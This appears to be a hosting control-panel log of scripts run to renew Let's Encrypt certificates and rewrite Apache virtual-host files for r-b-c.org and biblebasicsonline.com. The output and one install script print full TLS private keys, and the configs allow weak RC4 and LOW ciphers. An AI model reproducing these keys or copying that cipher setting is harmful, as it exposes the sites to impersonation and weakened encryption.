    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-10 06:00:45: 

PUT: /tmp/pkp653064

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:00:45: 

chmod 755 /tmp/pkp653064; /tmp/pkp653064; rm /tmp/pkp653064

2025-11-10 06:00:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt	5356
08:91:81:6d:7b:e0:83:21:45:2b:85:c1:da:33:f2:9f

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBtsU39dTPWMAywk1dJEpU5GOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMjEzWhcNMjYwMjA4MDUwMjEyWjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC46MjY
2otAlgq/KlgeGl8dNLtpOhEegMFpJcjchxIuIGfvldsbjcvUx+AcN1LFlHttvLyS
vv8w42tVnptxI4iIXB8Y8lCdIxSIryGYZ0lQn2fe3S8T6m8NcOO8AxL7KfEtF0lm
DDV41rJYUgxAw54YzwP1jL9ETVkMHiRHwd1rNojsP/Eswwfb7Dta2OQ7Ty4nx8wE
js4QWCCejz6ZMKBNMevkbB7uO5el6ubIBH8Ae1MbzhYKnrbSK+ly3O2A3RJidMIn
EuEdD/Vyfkx9yUTSNkR+9fDuPOXDV8TkgveBSgBCzPIpDx3LL41aKcspOchKKu7O
1DIiuTVpjvKcG2d9AgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FJ63E+oHBqF0FlKRdOz1lZZPWRcCMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiy
hA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJci1iLWMub3Jngg13d3cuci1iLWMub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTMuYy5sZW5jci5vcmcvMTUuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA
yzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGabFo5KwAABAMARzBF
AiBp81VzeiAVGUGwut8iiBMw15N5jsB7f8dghiCX+GlDYwIhANwisr5BhWvMgCQg
G+pz9T5VpWIhaXCL0MKMiKdojbRyAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2
bkakPw/KqcYAAAGabFo5WAAABAMARzBFAiEAkm2TXaq7H0N749PA81jLEQhkitYC
oSaFDGoDZ5iBNiMCIBXyPOrpqt3AMVqu0YO8OQbAgXXGKdVVFry8w9ZEmMylMA0G
CSqGSIb3DQEBCwUAA4IBAQA4pA5aD+wenu/rH8dQrUGA9KdB4yBKmI/w7KLs+Nz6
mc2Rk8Fwh3vl3TmETK/cl2AS08GkYLt92FVSlyFdd7XjL9nIneGYqMGh0l3YG2Nc
EDhATGHZiegQtTAChx1ZKwCp+qsObk/0PEsmnbDNPASK9tgoWZYm1puhJDa+/oBk
f+frykuZ0wNONQE86r+trLJRRqeAJ90RD+tyYMi19IIIViFxiW3Cd92tpgwYbxbG
Xo2sJ9kG4YNJyRfhMoU6iGVPHZYbxx7/87yl7OguPeffPWqSv3OPJZCCoL4PCkv2
6XK8QyLf+N01bKhFpzWNyhlz5dPWRpAoL5GLOQQ7jLi9
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQC46MjY2otAlgq/
KlgeGl8dNLtpOhEegMFpJcjchxIuIGfvldsbjcvUx+AcN1LFlHttvLySvv8w42tV
nptxI4iIXB8Y8lCdIxSIryGYZ0lQn2fe3S8T6m8NcOO8AxL7KfEtF0lmDDV41rJY
UgxAw54YzwP1jL9ETVkMHiRHwd1rNojsP/Eswwfb7Dta2OQ7Ty4nx8wEjs4QWCCe
jz6ZMKBNMevkbB7uO5el6ubIBH8Ae1MbzhYKnrbSK+ly3O2A3RJidMInEuEdD/Vy
fkx9yUTSNkR+9fDuPOXDV8TkgveBSgBCzPIpDx3LL41aKcspOchKKu7O1DIiuTVp
jvKcG2d9AgMBAAECggEBAKJtkeiz6Tj91EjiyG8BGWYNaUdhA6K41a0ozM2zNOwh
+UsDZ2pH37J1NU9z5Zi7+sSF01xQvNhUHXgjkEYNQaUOzx5Z1SiDpUkAFlHLASL6
NAMYZn9nItA6x0HjrWvGBx5l40rqFJqmdhmRUUQe0iTWzJKJZYZ5L2yumY4TJQ5E
ZayXGAOSmhQkYabQkiAqZRpN8srnBx2PD3hIL9EmuOCjm6INSoe+cM3/MITL2pKK
I4SgZo1LP37xrtxIVUkT9UPEmjSkgqNcDk0qpxej1Wav1rGnOq0tDH/3aNRpSTXs
XI/IOdLRfKYzxkvEN6G7IapRI0UpfQ3fPwvrVZ9n9t0CgYEA5Z6KMacOeEgftaaK
s4Y9nYi6CyLb2lQskxMtz7I6d/p4T1rSaKrmld1/rh3HXJ19KqiXnGfUoNMOVYVX
mo7D4EmnhT9B7eMZCddfP4ddPwnyuq6dE5zeuOWep0DHhspBnpIDo9/DyxYIAkbv
CFhDlcnk08C7auMHkP8KWfqHgqsCgYEAzidBNiyee92bANKy1fdfgyl87au8ydWW
ZHsX5l1vrjmG8ES90ngaUdHPgjKt8ctaO+WpUqSXXJ2s9ml+SoD3IH9dOgS4z7k0
COROu6DtaXuGD7OV17DXuyNesLOlm6X0T5UYylOB2kHtFl2OX4TDAgmVjN7b7mfz
JiN0rtpo/ncCgYEArBF1L6Yncr1hfcdSkxtamu21tNindeG0EXbC0qyVogkBFT5T
BHplFxMINhs8pUujW09BZcRtEyN1z2J/9mNbp3yqW3C+4BxZTAWn67xthOrYiUqG
jQb15Aq2LFGf84MnT0POFIR/fXWCBOrQ/yjdZKcJoiEAkSWWKvLj9++EkscCgYBQ
35l3lT1/PkqGoiHCSs9Pd0EpRAxF6eKb/KY9mz4qzSqgq3cEUFWS74pGe3c9uhbm
FIy+fQ9cKAcoi+4dcEaCmzSJhDy0UOWW72nrtZAtp2XKVxtbiGa5ZYDKNU+spggY
CFe3V9dDNkW6Vm16D20pKXVf1DXXazQ6LAKkbc5utQKBgQCQxYOiyulHJpXzqnAC
RXE9dBlBSV8knJYqMqplRTsCQ14TkSZH+1azYdDFxbnIEwwFEsNP5Hym8zvGdj5l
R7yg6lJLFl+VUZvKpNMgzKtBPq7y1BB6G+G+yGAbj0lP+8SH0dw83FQNKtpC/Ch+
zS70dgcTlBWH/SOHA0/3mhGdNA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-10 06:00:45: Establishing a connection
2025-11-10 06:00:45: Establishing a connection
2025-11-10 06:00:45: 

PUT: /tmp/pkp297236

#!/bin/bash
if [ -d "/var/www/biblebasicsonline_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-10 06:00:45: 

chmod 755 /tmp/pkp297236; /tmp/pkp297236; rm /tmp/pkp297236

2025-11-10 06:00:45: 


1


2025-11-10 06:00:46: Establishing a connection
2025-11-10 06:00:46: 

PUT: /tmp/pkp799335

#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cat > CxVTSeIUjHd1mVZjlsKln1AGGs5CJ78JgbwFuHUQWeg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
CxVTSeIUjHd1mVZjlsKln1AGGs5CJ78JgbwFuHUQWeg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 CxVTSeIUjHd1mVZjlsKln1AGGs5CJ78JgbwFuHUQWeg
cat > FQxglfMfOwXJMlTXlWSXlcNhUiNydTyw2Nnyxec1zCE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
FQxglfMfOwXJMlTXlWSXlcNhUiNydTyw2Nnyxec1zCE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 FQxglfMfOwXJMlTXlWSXlcNhUiNydTyw2Nnyxec1zCE


2025-11-10 06:00:46: 

chmod 755 /tmp/pkp799335; /tmp/pkp799335; rm /tmp/pkp799335

2025-11-10 06:00:46: 




2025-11-10 06:00:55: Establishing a connection
2025-11-10 06:00:55: 

PUT: /tmp/pkp517803

#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
rm CxVTSeIUjHd1mVZjlsKln1AGGs5CJ78JgbwFuHUQWeg
rm FQxglfMfOwXJMlTXlWSXlcNhUiNydTyw2Nnyxec1zCE


2025-11-10 06:00:55: 

chmod 755 /tmp/pkp517803; /tmp/pkp517803; rm /tmp/pkp517803

2025-11-10 06:00:55: 




2025-11-10 06:00:55: Establishing a connection
2025-11-10 06:00:55: 

PUT: /tmp/pkp503617

#!/bin/bash
temp_file=$(mktemp)
TARGET=6826643b9e24e5e5121c4fe73657b282.crt

cat > $temp_file <<'endmsg'
0d:2e:a0:59:66:6b:13:f4:4a:c1:60:a4:d1:34:c0:46

-----BEGIN CERTIFICATE-----
MIIFIDCCBAigAwIBAgISBvb9cLI26uQv/6B/hsN2IyA4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjI0WhcNMjYwMjA4MDUwMjIzWjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDSeESr1BhXAklaqMeTvHEfkQTQpiViKP4EWLC51osTW3ZEjZL9dU/f
ous6WJV0QAfzih35hVscPb7hO6b7NNEzMolX1e7Wn/ZLehxl1QZNT3b76vm80mjR
eRBga9PJwPaCgpqWi3aKzGK9fLaDtnFeqPy8535USR05suWeBCSI1QEeetND2SYE
Glv8FQJjfA9FEMs+cv9D972LaKIKbATzshkP+EzshVO8POc4iCOjnETHjkiRNQkC
to/6W8wFxRyM/a8eUtrlG9K30mbpyvzRJmoGjXtI/mm0PXsnNpzX7MU/qfirUs0D
kPoN09Yf0zm2+A4JgBpt7bxp/bkYVPKdAgMBAAGjggI/MIICOzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFGgssQ4YYmN/nOmnoYtQ3fqbOurBMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvNTcuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAyzj3FYl8hKFEX1vB
3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGabFpj9QAABAMARzBFAiATeRiFvsgjp29U
KJTsHCXE+Yjjqg+W5PQTv+MSMyGLtwIhAM5naCBJmktWuYxXJO7eToJWHthCwqK/
KuW3N0cAiQe4AHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa
bFpjxwAABAMARjBEAiAl+ip4gUNAAQDxLFaBb8r4CxS0uv19jejD7/rnK3c8cgIg
PbvKzjDVgvU8Pc9OEdLZ9Z1ybunTDTEA4Wl7dyOeA84wDQYJKoZIhvcNAQELBQAD
ggEBALyMV8KaHbRQMMPoS2dKGKr4Xkx0INXhEgGDjGtdmtc9gZdwUGqS7WQp8wSZ
QGAcefftUwBan7JUzgY4b909Yszdv+69pSzoNzdY3mEv+MOh5jHr7Kz+lGI821ys
YwBlUuo0vxC4AE98sh0xmf7Q4UfeWh+bGedv7HYTlvBDOeR3c5K6FUQGiwK1SsMb
4qxHB/eMWVSDTzJlP3PYGCXhCJlXhL6fjSs+60FYoL5m7w37ycdlzflUDqjMMywf
dYK2upA7vpM1tWt+dxEf0BOTGG0fpK0hXpBF0237ig5SKUHqKCfcKpBZFMDm8XXe
hQl2r6THmwH2wzlgUt7tYDQRIew=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDSeESr1BhXAkla
qMeTvHEfkQTQpiViKP4EWLC51osTW3ZEjZL9dU/fous6WJV0QAfzih35hVscPb7h
O6b7NNEzMolX1e7Wn/ZLehxl1QZNT3b76vm80mjReRBga9PJwPaCgpqWi3aKzGK9
fLaDtnFeqPy8535USR05suWeBCSI1QEeetND2SYEGlv8FQJjfA9FEMs+cv9D972L
aKIKbATzshkP+EzshVO8POc4iCOjnETHjkiRNQkCto/6W8wFxRyM/a8eUtrlG9K3
0mbpyvzRJmoGjXtI/mm0PXsnNpzX7MU/qfirUs0DkPoN09Yf0zm2+A4JgBpt7bxp
/bkYVPKdAgMBAAECggEACMe3pattcIPJ55xO5xzfYz+7gbDMsnGfVzMT/Ey09JPG
NUnqreQs9tlnEsILShQ5wLEsWvJzQJRa2C6S4rvrVkVvcVidZBq8PZ3UfXMLlkIQ
ZqYA0R29/a8dPciBx1LjdcJZDJq40UWBgQIo4wnDZP2LvZ2yqXV7YKLT7Wmi1Ipq
4VvfafTnKxdEq7QcqFXmXxyeylcJuV3qXsddN4jPPCua747lnW1wMthXS/GZrs3K
nv9mhEvzMAZRX0wxZdsvhNowNDBTo6g+USAY529bcmsPhqlvDCpZUcbTKDbpfcIh
I4qVpf6v8BuNN3ExOiGJcGggb3snLDLulI/5vSdDwQKBgQD13qLh6bDE3ghTHTR9
acEv2tNzvRoWP8IGg1ezb9wFbFEnxAxf1bfpM+yQroGAqVVLWomq2NfN2Haj0gz/
IAf1aXVxUQfWUFyeG7em/+n52dTND/eqOdmlAjPQAjgBGtEGiUtEZeqIeHG2Ewfo
wh0J6MLwssGc6yh+eT32hR0QVQKBgQDbJD5+whBNrE2b+ZVjyVyb5w6Iev8DkjH+
gRF+iAUocxMfEbIi/ivV/+4B3ab51W8ar69EC6gALUrXOBROfBAsMQsLk/A1Ffmi
+MPaXNbQ/FPdmQwDGSAigbVPGNDBIVWHH6Rx7DwT9zm77XZIEZuia75OQN8zmWun
O/ro3CkBKQKBgBnH9pxpvLdn8MeGUHK2HCPAdlu0gH/Ev7ufGhsep5uJ+BiLXiDO
cDJr12p0Ye/z0ZXNMJJRmo9jG02iQOqfmTYKkN4I+SFn285YabGBNC+Wv9Gg0v9u
gXvj9zrggK7c+P4Od238odMdjg7hf/rQH+tiFM7Yb6Tco6pfXDf1TU7hAoGBALcb
Cb0Qml7MYey6FsFSNzdtUQ9o9jwdo/hsEBoRvX2W6ZtERfxHNImTV2PnuOV4GWXK
9j99HdtH/QjnqtAJidnjAL+j1UoGGpi6E6wZdsUYkVrPzuGn1NoAV2bH7WXyXGyT
W+x0354vLOaB/Bsr20dTj6gDPHz47KLH01dO3lRBAoGBAJGpkuV94vhaMEPujjXH
MjmG37myjjKEYostAJRKK3T1qMHw35wPkbFICZFI/RtBIuya1kSj1trUD5yqWk2P
Rb4gjMgO3y+8Svw10qgbvwGm8oTIY/YJEd99caQDz4Ox46iHsfreIlWsuP1JAOSW
tZASnyRZC6y2DBUKZrdWE56b
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-10 06:00:55: 

chmod 755 /tmp/pkp503617; /tmp/pkp503617; rm /tmp/pkp503617

2025-11-10 06:00:55: 


dir=/etc/ssl/certs


2025-11-10 06:00:55: 

PUT: /tmp/pkp677488

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-10 06:00:55: 

chmod 755 /tmp/pkp677488; /tmp/pkp677488; rm /tmp/pkp677488

2025-11-10 06:00:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf 49

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-10 06:00:55: 

PUT: /tmp/pkp225047

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=biblebasicsonline_www_com.conf
TARGET=/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
